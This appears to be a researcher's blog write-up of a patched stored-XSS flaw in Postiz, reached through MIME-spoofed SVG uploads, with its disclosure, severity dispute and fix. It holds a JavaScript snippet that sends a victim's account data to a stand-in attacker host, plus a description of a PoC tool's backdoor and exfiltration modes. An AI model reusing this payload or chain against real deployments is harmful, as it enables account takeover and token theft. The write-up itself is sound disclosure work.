After obtaining my OSWE, I started appreciating white box analysis much more. So every now and then I pick an open-source project I like, analyze the source code, try to understand how it works, and when I come across critical functions I ask myself: “what if this didn’t work as expected?”.

Today I’ll tell you how I discovered this Arbitrary File Upload via MIME-type spoofing that led to a Stored XSS in Postiz, an open-source social media management tool with over 600 instances exposed on the internet. The vulnerability allows an attacker to act as the victim: steal API keys, exfiltrate tokens from all connected social integrations (Instagram, X, LinkedIn, Facebook, TikTok and 23 other providers), publish and delete posts on their behalf, and create persistent OAuth backdoors that survive password changes.

What is Postiz?

Postiz is an open-source social media management tool: post scheduling, analytics, team collaboration, integration with 28+ platforms. It has a standard Docker deployment, a NestJS backend, a React frontend, and nginx as reverse proxy. The kind of project a marketing team installs, connects to all their social accounts, and then forgets to update.

Code review

I started by getting a feel for the architecture. Monorepo, NestJS on the backend, React on the frontend, nginx in front of everything. The pattern is the classic Controller -> Service -> Repository, with a libraries/ folder containing shared services. I took a first pass at the controllers to understand the attack surface: authentication, user management, OAuth integrations with social providers, public API. Then I looked at how authorization is handled, how JWTs are signed, how session cookies are configured.

When I got to the upload functionality, I stopped. In a web application, file upload is the boundary where user-controlled content enters the server. If that boundary isn’t well guarded, the consequences are almost always severe. And here the boundary was POORLY guarded.

I traced the complete flow: from the controller to the endpoint, through validation, disk storage and browser serving. In the end I found three components that together create a high-impact attack chain.

Flaw 1: client-side validation

libraries/nestjs-libraries/src/upload/custom.upload.validation.ts (vulnerable version <= 2.21.5):

const validation =
  (value.mimetype.startsWith('image/') || // line 24
    value.mimetype.startsWith('video/mp4')) && // line 25
  value.size <= maxSize; // line 26

The interesting case is the main branch: at lines 24-25 the check only verifies that value.mimetype starts with image/ or is video/mp4. The problem is that value.mimetype is the Content-Type header value provided by the client in the multipart request, not the result of content inspection. It’s a field the attacker controls completely.

No magic byte verification, no use of libraries like file-type to inspect the actual content. If I send an SVG file with JavaScript inside and declare Content-Type: image/png, the condition "image/png".startsWith("image/") is true, the check at line 26 only verifies the size is under the limit, and the file is accepted without objection.

In technical terms, this is a CWE-345: Insufficient Verification of Data Authenticity. The server treats attacker-supplied data as trusted without performing any verification.

Flaw 2: file extension preserved on disk

libraries/nestjs-libraries/src/upload/local.storage.ts:

async uploadFile(file: Express.Multer.File): Promise<any> {
    // ...
    const randomName = Array(32) // line 51
      .fill(null)
      .map(() => Math.round(Math.random() * 16).toString(16))
      .join('');

    const filePath = `${dir}/${randomName}${extname(file.originalname)}`; // line 56
    // ...
    writeFileSync(filePath, file.buffer); // line 62
    // ...
    return { // line 64
      filename: `${randomName}${extname(file.originalname)}`,
      path: process.env.FRONTEND_URL + '/uploads' + publicPath,
      mimetype: file.mimetype,
      originalname: file.originalname,
    };
}

At line 51, a random 32-character hexadecimal name is generated. Nothing unusual so far. The problem is at line 56: extname(file.originalname) extracts the extension from the client-supplied filename. If the client sends filename=payload.svg, extname() returns .svg, and the final path becomes something like /uploads/2026/04/15/a7f3c2e9...svg. At line 62, the content is written to disk as-is, without any sanitization.

No consistency check between the declared MIME type (image/png) and the file extension (.svg). The same goes for .html, .xhtml, .js, or any other extension: the server accepts everything without question. This constitutes a CWE-434: Unrestricted Upload of File with Dangerous Type.

The detail that closes the loop is at lines 64-68: the server returns in the JSON response a path field containing the full public URL of the uploaded file (e.g., http://target:5000/uploads/2026/04/15/a7f3c2e9...svg). The name is random, but it doesn’t matter: the server delivers it directly to the attacker. Just read the response to get the URL ready to send to the victim.

The choice of SVG is not random. An .html file would work equally well for executing JavaScript, but an SVG has a social advantage: it’s an image format. A link ending in .svg doesn’t raise suspicion, it looks like a vector image, maybe a logo or an icon. Yet the SVG format natively supports the <script> tag, and browsers execute it without hesitation when the Content-Type is image/svg+xml.

Flaw 3: nginx serves with Content-Type derived from extension

http {
    include       /etc/nginx/mime.types; # line 9
    default_type  application/octet-stream; # line 10

    server {
        listen 5000; # line 14

        location /uploads/ { # line 36
            alias /uploads/; # line 37
        }
    }
}

At line 9, nginx loads the standard mime.types table that maps extensions to Content-Types. At lines 36-37, the configuration serves files from the /uploads/ directory directly as static files, without any transformation. When the browser requests /uploads/.../a7f3c2e9.svg, nginx looks at the .svg extension, consults the mime.types table, and responds with Content-Type: image/svg+xml.

Here’s what happens for dangerous extensions:

  • .svg -> image/svg+xml (the browser renders the SVG and executes the JavaScript inside it)
  • .html -> text/html (the browser interprets the file as a web page)
  • .xhtml -> application/xhtml+xml (same thing)

No Content-Security-Policy header to block inline scripts. No X-Content-Type-Options: nosniff to prevent the browser from interpreting the content. No Content-Disposition: attachment to force a download. The browser receives the file, sees the Content-Type, and renders it faithfully.

Putting it all together

The client says: "this is image/png" (lie)
  -> Validation: "ok, starts with image/, pass"
    -> Storage: saves as randomhex.svg (original extension)
      -> Nginx: serves with Content-Type: image/svg+xml
        -> Browser: renders SVG, executes <script>

The fun part: session riding

At this point many would say: “ok, it’s an XSS, steal the cookie and log in as the victim”. But Postiz sets the auth cookie as HttpOnly, so JavaScript can’t read it via document.cookie. End of story? No. Beginning of the interesting part.

The malicious SVG file is served from within the application’s origin (https://postiz.example.com/uploads/...). This means the JavaScript in the payload is same-origin with the application itself. And fetch() with credentials: "include" automatically attaches the cookie to every request:

// The browser automatically includes the HttpOnly cookie
fetch("/api/user/self", { credentials: "include" })
  .then(r => r.json())
  .then(data => {
    // Now I have the victim's profile, API keys, social integration tokens, etc.
    fetch("http://attacker.evil/loot", {
      method: "POST",
      body: JSON.stringify(data)
    });
  });

The HttpOnly cookie protects against direct token exfiltration, but offers no protection against an attacker operating from within the origin. The browser doesn’t distinguish between “legitimate application JavaScript” and “attacker-injected JavaScript served from the same domain”. To the browser, it’s all same-origin.

This makes the XSS functionally equivalent to full session takeover. The attacker can do anything the victim can do: read, write, delete.

Exploit PoC

After verifying the vulnerability, I wrote a complete PoC to demonstrate the real-world impact. I don’t like PoCs that show an alert(1) and declare victory, that demonstrates you can execute JavaScript, not what an attacker would actually do by exploiting that vulnerability.

The tool is a single Python script that automates the entire chain: authentication/registration, JavaScript payload generation, arbitrary file upload with spoofed MIME type, and an integrated exfiltration server that receives stolen data in real time.

Attack chain

Attacker                      Postiz Server               Victim
    |                              |                        |
    |-- 1. Login/Register -------->|                        |
    |-- 2. Upload malicious SVG -->|                        |
    |<---- File URL ---------------|                        |
    |-- 3. Send URL to victim ----------------------------->|
    |                              |<--- 4. Opens the URL --|
    |                              |--- SVG with JS ------->|
    |<-------------- 5. Executes JS and sends data ---------|

The tool supports 5 attack categories:

Exfiltration. 18 dump-* modes that steal everything: profile, API keys, social integrations (tokens included), scheduled posts, teams, media, notifications, webhook configurations, OAuth apps, AI copilot threads, billing, settings. full-dump does everything in a single payload.

Privilege escalation. add-admin invites the attacker as ADMIN in the victim’s organization. rotate-key rotates the API key and exfiltrates the new one. rotate-oauth does the same with the OAuth app secret.

Sabotage. kill-notifications disables email notifications so the victim doesn’t notice the changes. wipe-* deletes signatures, webhooks, tags, sets, autopost rules. logout-victim invalidates the session. edit-profile modifies name and bio.

Backdoor. create-oauth-app is my favorite. The victim’s JavaScript creates an OAuth app in the organization, auto-approves it, and sends the authorization code to the attacker’s listener. The tool automatically exchanges the code for a persistent pos_* token that never expires and works even if the victim changes their password. With a pos_* token, the attacker can re-run the tool with --token to upload new payloads without having an account on the platform. The other attack in this category is steal-cookie, which steals the JWT directly from document.cookie when NOT_SECURED is enabled.

Custom. api-call executes any arbitrary authenticated API call. custom executes arbitrary JavaScript.

Responsible Disclosure

I reported the vulnerability through GitHub Security Advisory, including the complete technical description, the PoC with curl commands and exploit screenshots.

The developers’ first response was reasonable: they asked for clarification on real attack scenarios. The implicit question was “why would a user visit that URL?”

I responded with three concrete scenarios:

  1. Direct link sharing. Postiz is a team tool. Users naturally share links via Slack, email, internal chat. A URL like https://postiz.example.com/uploads/2026/04/10/abc123.svg looks like a perfectly normal image hosted on the platform. The victim has no reason to be suspicious.

  2. Embedding in an external page. The URL can be included as an <img> tag in any web page. When the browser loads the SVG, the JavaScript executes in Postiz’s origin. No additional click required.

  3. Sharing via social. Postiz manages social accounts. Teams constantly share links for review. “Hey, can you check this image?” is a completely normal request in that workflow.

I also included Shodan data: 679 exposed instances, favicon hash 724985511, distributed across 30+ countries. Not to intimidate, but to provide context: it’s not an application used by millions of people, but not by a handful either.

CVSS Dispute

The initial score assigned by the maintainers underestimated the impact. Confidentiality Low, Integrity None. I disputed with concrete evidence:

  • Confidentiality High: the attacker has read access to everything. Profile, API keys, social integration tokens, posts, teams. It’s not “limited data leakage”, it’s the entire account.
  • Integrity High: the attacker can invite admins, rotate API keys, modify posts, delete integrations. Real write actions, verified end-to-end.
  • Availability High: the attacker can remove team members, delete channels, disable notifications. Concrete service disruption.

In the end, the developers understood perfectly and accepted the final severity: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H, 8.9 High.

Remediation

Version 2.21.6 introduced a proper fix. Three key changes:

  1. Magic byte validation. file-type inspects the actual file content, not the client’s Content-Type. An SVG with Content-Type: image/png is recognized as SVG, not PNG.

  2. Explicit allowlist. Only specific, safe MIME types are permitted. No image/* catch-all that admits image/svg+xml.

  3. Extension override. The file is renamed with the extension corresponding to the actual type. Even if the client says payload.svg, on disk it ends up as upload.png (if the content is actually PNG) or gets rejected.

The bottom line is: never trust the client to determine the file type. The content determines the type, not the HTTP headers.

Lessons learned

For developers:

  • The Content-Type of a multipart upload is controlled by the client. It should be treated as untrusted input.
  • Use magic byte detection (file-type in Node.js, python-magic in Python, Marcel in Ruby) to determine the actual type.
  • If you serve uploaded files from the same domain as your app, you’re serving potential code in your application’s context. Consider a separate domain for uploads, or at minimum Content-Security-Policy: script-src 'none' and Content-Disposition: attachment on responses.
  • HttpOnly on cookies is necessary but not sufficient. It doesn’t protect against same-origin XSS, it only protects against direct token exfiltration.

For security reviewers:

  • Trace the complete end-to-end flow: from the entry point (upload), to processing (validation), to storage (filesystem), to serving (nginx/CDN). The vulnerability is in the chain, not in a single component.
  • Don’t stop at alert(1). Demonstrate real-world impact with PoCs that do what an attacker would do: steal data, escalate privileges, create persistence.
  • Back up CVSS scores with concrete evidence.

References